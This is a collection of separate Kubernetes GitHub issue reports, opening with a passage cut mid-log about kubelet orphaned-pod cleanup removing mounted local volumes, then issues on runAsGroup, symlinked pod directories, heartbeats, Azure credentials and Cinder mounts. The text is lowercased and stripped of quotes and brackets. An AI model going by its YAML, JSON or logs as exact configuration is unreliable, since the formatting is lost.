c139242352da780cf22f10bc6514d59b737f1cfd6b3462893c133251a3cebbd4\ \r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : w1211 21:20:40.909701   11504 cni.go:302  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ c139242352da780cf22f10bc6514d59b737f1cfd6b3462893c133251a3cebbd4\ \r dec 11 21:20:41 <hostname> kubelet-1.13.0 11504 : i1211 21:20:41.029701   11504 reconciler.go:181  operationexecutor.unmountvolume started for volume \ data1\   uniquename: \ kubernetes.io/local-volume/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2-<local volume name>\   pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\   uid: \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  \r dec 11 21:20:41 <hostname> kubelet-1.13.0 11504 : i1211 21:20:41.065868   11504 operation_generator.go:683  unmountvolume.teardown succeeded for volume \ kubernetes.io/local-volume/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2-<local volume name>\   outervolumespecname: \ data1\   pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\   uid: \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  . innervolumespecname \ <local volume name>\ . pluginname \ kubernetes.io/local-volume\ , volumegidvalue \ \ \r dec 11 21:20:41 <hostname> kubelet-1.13.0 11504 : i1211 21:20:41.130411   11504 reconciler.go:294  operationexecutor.unmountdevice started for volume \ <local volume name>\   uniquename: \ kubernetes.io/local-volume/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2-<local volume name>\   on node \ <node name>\ \r dec 11 21:20:41 <hostname> kubelet-1.13.0 11504 : i1211 21:20:41.132419   11504 operation_generator.go:768  unmountdevice succeeded for volume \ <local volume name>\  %! extra string=unmountdevice succeeded for volume \ <local volume name>\   uniquename: \ kubernetes.io/local-volume/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2-<local volume name>\   on node \ <node name>\   \r dec 11 21:20:41 <hostname> kubelet-1.13.0 11504 : i1211 21:20:41.230660   11504 reconciler.go:301  volume detached for volume \ <local volume name>\   uniquename: \ kubernetes.io/local-volume/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2-<local volume name>\   on node \ <node name>\  devicepath \ \ \r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : e1211 21:22:33.919172   11504 kubelet_volumes.go:133  failed to remove orphaned pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  dir; err: remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy\r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : e1211 21:22:33.919235   11504 kubelet_pods.go:1039  failed cleaning up orphaned pod directories:  cannot delete directory /var/lib/kubelet/pods/9a77b332-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data/server/0: it is a mount point, remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy \r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : w1211 21:22:33.935707   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : w1211 21:22:33.935716   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : e1211 21:22:33.935907   11504 kubelet_volumes.go:133  failed to remove orphaned pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  dir; err: remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy\r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : e1211 21:22:33.935926   11504 kubelet_pods.go:1039  failed cleaning up orphaned pod directories:  cannot delete directory /var/lib/kubelet/pods/9a77b332-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data/server/0: it is a mount point, remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy \r dec 11 21:22:36 <hostname> kubelet-1.13.0 11504 : w1211 21:22:34.501180   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r dec 11 21:22:36 <hostname> kubelet-1.13.0 11504 : w1211 21:22:34.501189   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r dec 11 21:22:36 <hostname> kubelet-1.13.0 11504 : e1211 21:22:36.641636   11504 kubelet_volumes.go:133  failed to remove orphaned pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  dir; err: remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy\r \r ... continues until we manually removed mount ...\r    \r \r   what you expected to happen  :\r \r expected no data loss for peristent local volumes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r unfortunately was not able to reproduce. but this bug hit 26 out of 29 nodes simultaneously. need some way to create a case where a pod becomes orphan and \ volumes\  folder gets somehow removed  similar to issue https://github.com/kubernetes/kubernetes/issues/38498 . then there is a code path that can lead to data loss:\r \r    \r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : w1211 21:22:33.935707   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : w1211 21:22:33.935716   11504 kubelet_getters.go:277  path \ /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volumes\  does not exist\r    \r we are in orphan pod cleanup and  volumes  directory is missing  not sure why it's printed twice :\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_getters.go l278\r \r no error returned and empty volumes list, so we go into this case which proceeds removing pod directory and  volume-subpaths  along with it even thought they might still be mounted  not sure why :\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_volumes.go l132\r \r    \r dec 11 21:22:33 <hostname> kubelet-1.13.0 11504 : e1211 21:22:33.935907   11504 kubelet_volumes.go:133  failed to remove orphaned pod \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  dir; err: remove /var/lib/kubelet/pods/9af0d50b-50f1-11e8-b37b-ac1f6b10eed2/volume-subpaths/data1/server/3: device or resource busy\r    \r \r  islikelynotmountpoint  checks if device is the same, but we use root drive for local volume, so the device is the same, so it's not a mount point so ok for removing  this is a bug imho .\r https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/mount_linux.go l250\r \r   anything else we need to know?  :\r \r k8s version upgrades went from 1.9.6 -> 1.11.1 -> 1.12.1 -> 1.12.2 -> 1.13.0 without restarting the pods.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t19:44:19z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: ovh, baremetal servers\r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1688.5.3\r version_id=1688.5.3\r build_id=2018-04-03-0547\r pretty_name=\ container linux by coreos 1688.5.3  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux <hostname> 4.14.32-coreos  1 smp tue apr 3 05:21:26 utc 2018 x86_64 intel r  xeon r  cpu d-1541 @ 2.10ghz genuineintel gnu/linux\r    \r - install tools:\r using ansible tasks that downloads kubelet from  https://storage.googleapis.com/kubernetes-release/release  and all other required tools.\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r assigned permission to containers of pod by using \ runasuser\  & \ runasgroup\  parameter of securitycontext module, but after getting shell prompt of running container of pod, i can see only userid gets updated and groupid remains as root 0 .\r \r   what you expected to happen  :\r inside pod container should get userid & groupid as per assigned id while creating pod. it should be visible in container after executing \ id\  command from container bash.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r tried assigning of runasuser, runasgroup & fsgroup but except groupid other two were visible.\r please find below used yaml's for reference.\r    \r cat pv-test.yml\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-test\r spec:\r     capacity:\r       storage: 35gi\r     accessmodes:\r     - readwriteonce\r     flexvolume:\r       driver: hpe.com/hpe\r       options:\r         name: volume1\r \r cat pvc-test.yml\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc-test\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r \r cat pod-test.yml\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-test\r spec:\r   securitycontext:\r     runasuser: 1000\r     runasgroup: 1000\r     fsgroup: 2000\r   containers:\r   - name: minio\r     image: minio/minio:latest\r     args:\r     - server\r     - /export\r     env:\r     - name: minio_access_key\r       value: minio\r     - name: minio_secret_key\r       value: doryspeakswhale\r     ports:\r     - containerport: 9000\r     volumemounts:\r     - name: export\r       mountpath: /export\r     securitycontext:\r       allowprivilegeescalation: false\r   volumes:\r     - name: export\r       persistentvolumeclaim:\r         claimname: pvc-test\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.6\ , gitcommit:\ ab91afd7062d4240e95e51ac00a18bd58fddd365\ , gittreestate:\ clean\ , builddate:\ 2019-02-26t12:59:46z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.6\ , gitcommit:\ ab91afd7062d4240e95e51ac00a18bd58fddd365\ , gittreestate:\ clean\ , builddate:\ 2019-02-26t12:49:28z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ red hat enterprise linux server\ \r version=\ 7.6  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.6\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.6:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.6\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.6\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux cld6b12 3.10.0-957.10.1.el7.x86_64  1 smp thu feb 7 07:12:53 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r @kubernetes/sig-contributor-experience-bugs

what happened  :\r in our kubernetes cluster, there are some slave nodes whose root partition has a very little disk space,  so we add another larger-size disk device and symbolically link  /var/lib/kubelet/pods  to a directory located at this larger device. however, kubelet failed to delete orphaned pod directory,  there are lots of spam logging as below:\r    shell\r e0617 13:33:39.955783  130511 kubelet_volumes.go:140  cannot delete directory /var/lib/kubelet/pods/000acdf8-7f3b-11e9-87ea-0017fa007527: it is a mount point : there were a total of 3459 errors similar to this. turn up verbosity to see them.\r e0617 13:33:43.756649  130511 kubelet_volumes.go:133  failed to remove orphaned pod \ 77be9771-6524-11e9-8b7a-0017fa007aff\  dir; err: cannot delete directory /var/lib/kubelet/pods/77be9771-6524-11e9-8b7a-0017fa007aff: it is a mount point\r e0617 13:33:43.756753  130511 kubelet_volumes.go:133  failed to remove orphaned pod \ 780914a1-7ef0-11e9-87ea-0017fa007527\  dir; err: cannot delete directory /var/lib/kubelet/pods/780914a1-7ef0-11e9-87ea-0017fa007527: it is a mount point\r e0617 13:33:43.756858  130511 kubelet_volumes.go:133  failed to remove orphaned pod \ 7867edd3-8136-11e9-87ea-0017fa007527\  dir; err: cannot delete directory /var/lib/kubelet/pods/7867edd3-8136-11e9-87ea-0017fa007527: it is a mount point\r ...\r    \r \r after diving into this problem, i found the root cause:  the  islikelynotmountpoint  failed to distinguishing the mountpoint when  /var/lib/kubelet/pods  is a symbolic link. \r \r https://github.com/kubernetes/kubernetes/blob/5ae55b992b81bdba6836d57cb7700d7922e3f44c/pkg/util/mount/mount_linux.go l235-l250\r \r   islikelynotmountpoint  just compare the device number of the pod directory and its parent directory.  however, using  os.lstat  to obtain parent directory's device number which doesn't follow the link can lead an incorrect result \r \r i have done some tests:\r    shell\r  root@sh2-com-ocean120-201902 ~   stat /var/lib/kubelet/pods/6f648d08-3bce-11e9-8b78-0017fa007aff\r   file: ‘/var/lib/kubelet/pods/6f648d08-3bce-11e9-8b78-0017fa007aff’\r   size: 4096      \tblocks: 8          io block: 4096   directory\r device: 811h/2065d\tinode: 25165826    links: 5\r access:  0750/drwxr-x---   uid:      0/    root    gid:      0/    root \r access: 2019-06-17 15:19:26.144475511 +0800\r modify: 2019-03-01 11:05:44.067058327 +0800\r change: 2019-03-01 11:05:44.067058327 +0800\r  birth: -\r  root@sh2-com-ocean120-201902 ~   stat /var/lib/kubelet/pods\r   file: ‘/var/lib/kubelet/pods’ -> ‘/mnt/resource/pods’\r   size: 18        \tblocks: 0          io block: 4096   symbolic link\r device: 802h/2050d\tinode: 23506555    links: 1\r access:  0777/lrwxrwxrwx   uid:      0/    root    gid:      0/    root \r access: 2019-06-17 13:46:19.155661305 +0800\r modify: 2019-02-27 13:45:31.563155160 +0800\r change: 2019-02-27 13:45:31.563155160 +0800\r  birth: -\r  root@sh2-com-ocean120-201902 ~   ls -lt  /var/lib/kubelet/pods\r lrwxrwxrwx 1 root root 18 feb 27 13:45 /var/lib/kubelet/pods -> /mnt/resource/pods\r  root@sh2-com-ocean120-201902 ~   stat -l /var/lib/kubelet/pods\r   file: ‘/var/lib/kubelet/pods’\r   size: 4096      \tblocks: 8          io block: 4096   directory\r device: 811h/2065d\tinode: 25165825    links: 7\r access:  0755/drwxr-xr-x   uid:      0/    root    gid:      0/    root \r access: 2019-06-17 16:16:17.081177639 +0800\r modify: 2019-05-10 16:15:57.796793991 +0800\r change: 2019-05-10 16:15:57.796793991 +0800\r  birth: -\r  root@sh2-com-ocean120-201902 ~   df \r filesystem     1k-blocks     used available use% mounted on\r devtmpfs        14389228        0  14389228   0% /dev\r tmpfs           14400212        0  14400212   0% /dev/shm\r tmpfs           14400212  1450396  12949816  11% /run\r tmpfs           14400212        0  14400212   0% /sys/fs/cgroup\r /dev/sda2       30929148 17235840  13693308  56% /\r /dev/sda1         508580   132676    375904  27% /boot\r /dev/sdb1      412714408 21301300 370425308   6% /mnt/resource\r tmpfs                100        0       100   0% /run/lxcfs/controllers\r tmpfs           14400212       12  14400200   1% /mnt/resource/pods/3b2f3455-5c07-11e9-8b7a-0017fa007aff/volumes/kubernetes.io~secret/default-token-bfkf7\r overlay        412714408 21301300 370425308   6% /mnt/resource/docker/overlay2/f52303280b96a6222c1a1ec4eb0e8dc776d2e731ce9e1425bfc5781899f68cdd/merged\r shm                65536        0     65536   0% /mnt/resource/docker/containers/5578c4e66e713fae61bbdcf17d47b5bd6df6b4d7512e80150a5b7494b98c8594/mounts/shm\r overlay        412714408 21301300 370425308   6% /mnt/resource/docker/overlay2/5cfb55e3378f1c23b7505fff5a0891bf5753cdcd30626dd7f346e216974c64cf/merged\r tmpfs           14400212       12  14400200   1% /mnt/resource/pods/d6bd685f-72fb-11e9-8b7b-0017fa007aff/volumes/kubernetes.io~secret/default-token-fh5jv\r overlay        412714408 21301300 370425308   6% /mnt/resource/docker/overlay2/8899d7361dfc6e4763351aae4b3e314b08ea4a361d8da01856eb784866056dc6/merged\r shm                65536        0     65536   0% /mnt/resource/docker/containers/b9ce80c5456e742cb7725f47f6f33662912a120c608c685e3667537e773a26bb/mounts/shm\r overlay        412714408 21301300 370425308   6% /mnt/resource/docker/overlay2/eefd339c88026aff9f0de92ac51ed57b51bc2bb76c419cbd00ac68366d184f20/merged\r    \r \r \r   what you expected to happen  :\r kubelet can successfully delete orphaned pod directory when the kubelet's pods directory symbolically links to another device's directory\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. symbolically link   /var/lib/kubelet  to another disk device's directory\r 2. create pods and delete them\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.10.11\r - cloud provider or hardware configuration:\r bare-metal cluster\r - os  e.g:  cat /etc/os-release  :\r    shell\r  root@sh2-com-ocean120-201902 ~   cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r linux sh2-com-ocean120-201902.azcn 4.9.2-3.0.0.std7b.el7.5.x86_64  1 smp thu apr 26 17:33:02 cst 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r \r /assign\r 

we received an interesting suggestion today which has multiple layers to it but basically the use case was that they would like us to keep pod state around for debugging in the case where a pod is \ moved\  to another machine. this would presumably be an option in the pod, rather than default behavior, since in the normal case people probably only care about the logs and not the full state.   please read \ move\  here in the proper cattle-centric way, meaning \ kill old pod and create a fungible replica on a different machine\     today iiuc the only scenario where we \ move\  a pod to a new machine is if the machine fails. so the feature request is that when the machine comes back up, we want it to still have logs, containers, host directories, pod-scoped directories, etc. still intact. i guess this is somewhat related to the borg critical data concept, although for a very different purpose.  in the future i imagine we will want some other scenarios to trigger the pod to \ move\  -- for example there is a restart loop  kubelet keeps restarting the container locally due to repeated oom or something else that boils down to \ the pod is just not going to work here, but might work in another machine\  . in this case you'd want to also keep the same state from the old pod around despite creating a replacement replica elsewhere.  the last use case that was brought up was debugging deadlock. there would be an option to start a new replica on another node while keeping the deadlocked pod/container running so that you can attach a debugger to the process that is deadlocked. of course you'd also like to keep the same state we've been talking about for the other cases  logs, containers, host directories, pod-scoped directories .  @mikedanese does this sound like a fairly accurate description of the request? anything i left out?

something like:  kubectl list nodes --groupby label=kernel-version

in the api docs, several of the endpoints allow you to pass a  fieldselector  parameter to limit the information returned. when i run  kubectl describe pod <pod_name> --v=8  i see that's used by kubectl to get all the events associated with a pod.  i assumed the syntax of  fieldselector  uses the same syntax as the  label selectors  https://github.com/kubernetes/kubernetes/blob/master/docs/user-guide/labels.md label-selectors , as described in the docs.  however, i can't use the set-based syntax, like  involvedobject.name in  pod_1,pod_2  .  in addition, there are some fields that apparently can't be used.  if i try getting pods with a fieldselector of  metadata.name = foobar  i get the error \ field label not supported: metadata.name\   it would be great to have some documentation on how to use this parameter, and what its constraints are.

hi,  we are experiencing long delays in the kublet's heartbeat cycle to the apiserver  with --node-status-update-frequency=10s . the problem looks to be between the get and put of the heartbeat. this is what we see in the kubelet logs:      jul 15 12:42:45 node.ing.net kubelet 3736 : i0715 12:42:45.086322    3736 round_trippers.go:264  get https://master.ing.net:6443/api/v1/nodes/node.ing.net jul 15 12:42:45 node.ing.net kubelet 3736 : i0715 12:42:45.091579    3736 round_trippers.go:289  response status: 200 ok in 5 milliseconds jul 15 12:42:45 node.ing.net kubelet 3736 : i0715 12:42:45.373091    3736 round_trippers.go:264  put https://master.ing.net:6443/api/v1/nodes/node.ing.net/status jul 15 12:42:45 node.ing.net kubelet 3736 : i0715 12:42:45.409752    3736 round_trippers.go:289  response status: 200 ok in 36 milliseconds jul 15 12:42:55 node.ing.net kubelet 3736 : i0715 12:42:55.411267    3736 round_trippers.go:264  get https://master.ing.net:6443/api/v1/nodes/node.ing.net jul 15 12:42:55 node.ing.net kubelet 3736 : i0715 12:42:55.431056    3736 round_trippers.go:289  response status: 200 ok in 19 milliseconds jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.020203    3736 round_trippers.go:264  put https://master.ing.net:6443/api/v1/nodes/node.ing.net/status jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.029575    3736 round_trippers.go:289  response status: 409 conflict in 9 milliseconds jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.029772    3736 round_trippers.go:264  get https://master.ing.net:6443/api/v1/nodes/node.ing.net jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.034980    3736 round_trippers.go:289  response status: 200 ok in 5 milliseconds jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.298752    3736 round_trippers.go:264  put https://master.ing.net:6443/api/v1/nodes/node.ing.net/status jul 15 12:43:38 node.ing.net kubelet 3736 : i0715 12:43:38.320192    3736 round_trippers.go:289  response status: 200 ok in 21 milliseconds      after the second successful get, it takes 43 seconds to send the next put.  then we see that the put fails because in those 43 seconds the apiserver updated the node status in etcd to unknown  because it missed the heartbeat  and the kubelet got out of sync with etcd  resulting in the 409 conflict above .  looking at the source code in kubelet.go, the heartbeat cycle is: get node status - update node status - put node status. so why does the \ update node status\  phase regularly take such a long time?   this problem results in the node going notready and pods on that node being unroutable.  we see this on kubernetes 1.2.0.

default logging does not have much information.  trying to comprehend an lb service, i'd really like to see  time-0: loadbalancer needed time-1: targetpool requested time-2: targetpool confirmed time-3: firewall requested time-4: firewall confirmed time-5: forwardingrule requested  etc.  @arob fyi

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-slow-release-1.4/2151/  failed:  k8s.io  pod disks should schedule a pod w/ a rw pd, ungracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:140 expected     <string>:  to equal     <string>: 2278078371713790543 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:127       previous issues for this test:  28984  33827

-     checkvolumebinding predicate invalidation on pv update\r   - why we need to invalidate checkvolumebinding predicate cache on pv update: https://github.com/kubernetes/kubernetes/pull/66106\r -     invalidate checkvolumebindingpred/novolumezoneconflictpred predicates cache when a waitforfirstconsumer storage class is deleted\r   - see https://github.com/kubernetes/kubernetes/pull/65616\r \r related issues:\r - https://github.com/kubernetes/kubernetes/issues/56104\r - https://github.com/kubernetes/kubernetes/pull/62226

is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r updated kubernetes to v1.11 on my k8s cluster running on azure vmss and now, kubelet won't start reporting error:\r   failed to run kubelet: could not init cloud provider \ azure\ : no credentials provided for aad application. \r \r i have the azure.json file located under  /etc/kubernetes/ , where it was working fine in k8s v1.10.4 and it is in this format: \r \r     {\r       \ vmtype\ : \ vmss\ ,\r       \ tenantid\ : \ <tenant_id>\ ,\r       \ aadtenantid\ : \ <aad_tenant_id>\ ,\r       \ aadclientid\ : \ <aad_client_id>\ ,\r       \ aadclientsecret\ : \ <aad_client_secret>\ ,\r       \ subscriptionid\ : \ <subscription_id>\ ,\r       \ resourcegroup\ : \ kubitest1\ ,\r       \ primaryscalesetname\ :\ kubitest1-node\ ,\r       \ vnetname\ : \ kubitest1\ ,\r       \ vnetresourcegroup\ : \ kubitest1\ ,\r       \ subnetname\ : \ kubitest1-master\ ,\r       \ securitygroupname\ : \ kubitest1\ ,\r       \ location\ : \ northeurope\ \r     }\r \r \r   what you expected to happen  :\r \r kubelet should start without a problem. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r upgrade kubernetes to v1.11 on a k8s cluster running on azure vmss and restart kubelet. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.11.0\r - cloud provider or hardware configuration: azure vmss\r - os: ubuntu\r - kernel: linux kubitest1-master000000 4.15.0-1014-azure  14~16.04.1-ubuntu smp thu jun 14 15:42:55 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r  /area kubelet

is this a bug report or feature request?  :\r \r     \r   what happened  :\r when i execute the following commands  taken from the official installation guide for kubernetes ,  the output is unexpected  shown below:  \r command  on centos 7 : \r cat <<eof > /etc/yum.repos.d/kubernetes.repo\r  kubernetes \r name=kubernetes\r baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r enabled=1\r gpgcheck=1\r repo_gpgcheck=1\r gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r exclude=kube \r eof\r setenforce 0\r yum install -y kubelet kubeadm kubectl\r systemctl enable kubelet && systemctl start kubelet\r \r output: \r loaded plugins: fastestmirror\r loading mirror speeds from cached hostfile\r    base: centos.sonn.com\r    extras: mirror.sesp.northwestern.edu\r    updates: mirrors.cat.pdx.edu\r kubernetes/signature                                                               |  454 b  00:00:00\r kubernetes/signature                                                               | 1.4 kb  00:00:00 !!!\r kubernetes/primary                                                                 |  33 kb  00:00:00\r kubernetes                                                                                        237/237\r   no package kubelet available.\r no package kubeadm available.\r no package kubectl available.  \r error: nothing to do\r \r \r   what you expected to happen  :\r kubeadm, kubeclt and kubelet get installed and are enabled\r   how to reproduce it  as minimally and precisely as possible   :\r \r run the above mentioned commands on centos 7  by following the guide at https://kubernetes.io/docs/setup/independent/install-kubeadm/ \r   anything else we need to know?  :\r docker version: client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:21:36 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.7.5\r  git commit:   f5ec1e2\r  built:        tue jun 27 02:21:36 2017\r  os/arch:      linux/amd64\r  experimental: false\r \r   environment  :\r - kubernetes version  use  kubectl version  : unable to install the latest version following the official guide.\r - cloud provider or hardware configuration: vertual machine as per the guidelines on the official guide 2gb ram and 2 cpus \r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux k1 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

 \r   what happened  : when deploying a statefulset the volumemount times out, and the kube-nodes crashes   shutdown by libvirt due to qemumonitor timeout   \r \r   what you expected to happen  : the volume to be mounted on the vm and mapped to the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the problem occurs around 70% of the time, so not always but fairly consistent\r kubectl apply/create -f asciinema-postgres.yml\r \r \r   anything else we need to know?  :\r not sure if this is a openstack issue or kubernetes issue. \r however, i can create volumes and mount them fine, with the openstack-cli tools. \r \r   environment  : kubernetes is running on top of openstack ocata\r - kubernetes version  use  kubectl version  : tried multiple versions: 1.10.5, 1.9.6, 1.11.1\r - cloud provider or hardware configuration: openstack ocata\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : tried multiple versions, 4.4, 4.5, 4.15\r - install tools:\r - others:\r \r the machine itself doesnt log anything\r \r storageclass:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: platinum-express-storage\r provisioner: kubernetes.io/cinder\r reclaimpolicy: delete\r    \r \r asciinema-postgres.yml:\r    \r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: asciinema-postgres\r   namespace: asciinema\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: asciinema-postgres\r   servicename: \ asciinema-postgres\ \r   template:\r     metadata:\r       labels:\r         app: asciinema-postgres\r     spec:\r       containers:\r         - name: postgres\r           image: \ postgres\ \r           resources:\r             limits:\r               memory: \ 1gi\ \r               cpu: \ 1\ \r             requests:\r               memory: \ 512mi\ \r               cpu: \ 0.5\ \r           env:\r           - name: pgdata\r             value: /var/lib/postgresql/data/pgdata\r           volumemounts:\r           - name: postgres-data\r             mountpath: /var/lib/postgresql/data\r           ports:\r           - containerport: 5432\r             name: postgres\r           envfrom:\r      